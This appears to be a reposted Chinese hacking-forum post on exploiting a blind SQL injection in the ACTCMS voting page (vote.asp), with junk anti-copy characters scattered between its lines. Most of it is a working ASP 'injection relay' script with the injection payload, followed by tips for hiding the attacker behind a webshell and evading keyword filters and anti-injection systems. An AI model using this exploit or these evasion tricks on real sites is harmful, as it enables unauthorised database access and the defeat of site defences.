注入中转的高级应用，actcms漏洞以及其他

admin

2 Q, i$ M/ l- Z' U看到ninty大牛的blog的一篇文章
7 |# g; G9 c  E  y( C7 b4 \9 ]7 N链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
# k( c) {& O) g# ^" }0 V1 i转载请注明以上
漏洞文件：
/ z) I& o' K2 a' a6 w8 ^; b3 R/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   
5 K5 U5 ?; T0 J' \$ G2 j3 Y
1 N# j( y. O8 F" Q9 ]& |, H! N: n4    end if   
. {* ?1 `  R! e; S1 q" _
5    for i=1 to request("voted").count   
; u  i2 ]3 d4 ?9 ^) P6 p4 X
9 X- l% b8 ~3 R7 S0 x2 |6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

6 L" r. r3 R  m$ h8 w( c" |: d6 V7    next   
5 u: k( }, D( a5 }- \% e5 j0 r
3 y/ k( c3 \7 y, R8....   

9response.Redirect "index.asp?id="&id&""   
1 m) w. y, w* w1 S  k  o投票结束回跳转回index.asp这个投票结果页面
  y) E2 ]$ [! r! O' Q3 r如果投票成功票数加1
            失败票数不变
如图：
* O, g, H* T  M) `" Ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
- h" S* `# G3 N% X
2009-12-27 13:20

( }# o) w  z: H- ?' n& G利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
# f( ?! B+ p9 _; d, ?$ ?
本帖隐藏的内容需要回复才可以浏览
2 F% z; e: ^1 z1 a9 V2 S9 u" r我们用注入中转来实现这个注入具体代码如下：
先用寂寞的刺猬大牛的注入中转生成jmget.asp
" W6 m6 d3 |' @注入地址：http://localhost/actcms/plus/vote/vote.asp
- K5 _! y6 W$ m# v注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
3 w4 S1 v, F/ d' X% A) a; u7 ]
然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
, V2 z; [; R2 a/ P
: y/ p1 d+ ~1 ^6 L4 e02JmdcwName=request("jmdcw")

' Q; W' R0 G& h6 G( F9 ^03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

4 V; [$ B: q# n  b( h; C04JmStr="id=1&voted=-1 or 1="&JmdcwName

, R+ c: X$ E% F" @. z4 W05JmStr=URLEncoding(JmStr)
( U. g& K; o: ~' s/ m  R
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
/ [  Y: O, e3 T! j2 R( Y$ i6 X% N3 ~
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

08testurl=testurl & "?" & JmStr

" G& p. I- F( Y4 y. ]2 s& z09JMUrl=JMUrl & "?" & JmStr

4 m, O& [- `9 U7 I* z) _10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
; \7 c/ ^5 v7 u+ L$ \2 t
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

  J( u* J! M7 `8 W4 a% l2 ]12JmCok=replace(JmCok,chr(32),"%20")  
7 ~+ [8 ^& x- K6 f- N. H. g
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数

9 ]' r6 x3 @+ Y, R: K14  

( I/ _2 o# f. E2 @* D4 ]( m15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票

16  

' o5 n6 G# y8 d7 o+ M% i17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录

( Q$ ^$ b* t* [* S1 `6 e5 O* c18response.write test1&""&test2&""
( F  ^1 |0 p# h- ]
19  
4 V7 c: B1 m5 j/ X5 u$ I
20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"

6 s# y) b5 `. N6 U3 G7 O22else

, O4 w! _6 K- Y; b; p; v" J8 o+ s23  response.write "succeed"

0 _" }& l: \5 U' L% h9 r$ O* S  j0 G24end if  

25  
% Q- Y; \# q) z( y
" D8 x6 N$ }8 T2 h# k6 G26response.write "by 3x"
! m) c9 u1 c% t, S8 i
27  

0 P4 l' Q6 d* b- `28  

* ^, m: r6 b  p  X& q3 x  ?: ?9 ]2 ~29Function PostData(PostUrl,PostStr,PostCok,PostRef)   

$ W/ x: ?2 D$ E8 c30Dim Http

31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

7 C2 I6 h/ ]/ J0 i9 s32With Http
/ `* Y- X$ I" h0 i7 P) W
+ `# ~: ?( l+ I, Q4 X- ~/ Y33  
) X# I% N) F6 d/ u, i! A
: \  G# j' w/ p5 H4 l2 K  j34.Open "GET",PostUrl,False

+ _: e2 u& j/ v( m35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
8 `* D: M7 _3 v6 A. F. K: B
36.SetRequestHeader "Referer",PostRef

37.SetRequestHeader "Cookie",PostCok
$ J8 F  ~' O# S
38.Send ()
* p' N8 B* [* H- M
' x0 ~2 |5 k8 b$ n7 v6 @  S39PostData = .ResponseBody

40End With
$ y* \7 X; |$ h, R9 `
41Set Http = Nothing

42PostData =bytes2BSTR(PostData)
/ b. Y7 n8 Q/ X' p  I
43End Function

44  
3 s* E5 \, q3 u- U2 P
& k+ D7 d8 ^: t45  

. k- n& m2 _$ A3 R8 h" g0 F46Function bytes2BSTR(vIn)
0 P1 C/ S2 a+ }# Z6 ~/ c& t
47Dim strReturn

48Dim I, ThisCharCode, NextCharCode

1 T) H& f- K1 N$ Y& H% ^& Y: i49strReturn = ""
/ }* j$ E" W. J" Y+ u
: h' m8 V# R5 M6 Q% m$ M, H3 b0 r5 x50For I = 1 To LenB(vIn)

. w  z* ]# S* p& _$ g) `51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)
; O+ u9 C/ D# i
54Else
' X' S( X3 ?( x: L, o4 U" v. ]
) t8 }4 M* K+ `9 C( g55NextCharCode = AscB(MidB(vIn, I + 1, 1))

56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1
7 M( t; b* C! P
58End If

+ b# k* N- G3 L. O. T/ v59Next

' h0 S* S3 ?* o60bytes2BSTR = strReturn
* ?" \1 w) b) s4 D
' H( W8 _" F2 Z. I  n# A; @& r7 d61End Function

8 @! u) x7 ]0 W, ~62  
( B) I$ P- h. Q. N
5 R* [, X5 |: i" `63Function URLEncoding(vstrin)  
" ]/ t: D' V4 b% W6 Z# [1 X3 d' j
64strReturn=""
( x. R$ l' a+ h( u, i* Y& W0 ]
( q8 ~5 o/ a) T4 _; u/ g- a65Dim i
! `' N, g; R) L5 ~% w' j
3 Z2 E6 ~5 i) `1 f. S66For i=1 To Len(vstrin)
9 m! E1 d  _6 Z% m- L
) G9 B( W1 [* O$ i% \67ThisChr=Mid(vstrin,i,1)

/ E( l# Q/ Z' a9 C. J$ M68if Abs(Asc(ThisChr))< &HFF Then
# ~. ^8 v# J' K( v7 l, c
  @: d! z$ I" M1 M* }3 @69strReturn=strReturn & ThisChr

70Else

+ @2 ^5 U. L, K( ?4 r9 r71InnerCode=Asc(ThisChr)
; @8 A- D6 H( N( m- W
' Z# F  E" [2 v) w- B72If InnerCode<0 Then

* ^3 ?  g1 \3 `) d/ l2 }) L. K73InnerCode=InnerCode + &H10000

74End If
' b8 b  `3 c4 A* G3 i& n7 M
- m1 C- q2 P0 q$ v1 z% j0 F2 Y75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF
( U5 W9 j, g4 G/ i
; H. f& `- j% z5 _* Z: Y77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

78End if
, t; J$ F5 v" [+ p9 r, ]
79Next
/ j" C2 z; g$ q3 D1 N! q6 f
6 o! [$ d/ V3 u: o4 P' D8 `4 ]80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
- |' a' ]9 J  z$ Q! `
/ I% y; L7 }) h% |81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符

( k5 _0 y0 O2 K# t5 P* Y82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码

83URLEncoding=strReturn

84End Function
  U1 Y% v. u: X
3 Z, k1 y: s* Q85  

86function getSt(body)

$ f0 A1 _7 w, C- ]. q, ?8 Z4 W4 j# g1 i87  startpot=instr(body,"投票人数：")+len("投票人数：")

88  endpot=instr(startpot,body," ")

8 }& H0 C0 e) H9 {89  getSt=mid(body,startpot,endpot-startpot)

# }& s/ r3 B$ w90end function

( p3 J9 C3 v; S% b* F$ j91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
1 k9 }4 i. Q  \1 |% |8 S" |( O测试下效果：
9 Q6 X5 O* k; v$ x3 f" H投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2 F+ L, A0 u4 H4 j4 C2009-12-27 13:29
' ]8 e  f: c( j2 G$ C* v0 M# ^7 C投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

3 h! f9 g& \3 z( f1 Z' I% m! Y2009-12-27 13:29
-------------------------------------------------------------------------------
3 r* V) o5 U! V, ]5 e再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
8 b3 a' L6 U( t" Y, J. P7 [" k很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
1 e/ V% n+ j/ }-------------------------------------------------------------------------------
% w7 H1 T" k9 D: n4 b
8 K6 O! R9 L8 x* I4 q& x  \注入中转的一些其他应用
1 Q6 _0 p& ^, y2 @5 V其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
6 K- ^+ L$ A9 t/ \4 w1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
8 C# e0 u* Z3 ^& ~6 C3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过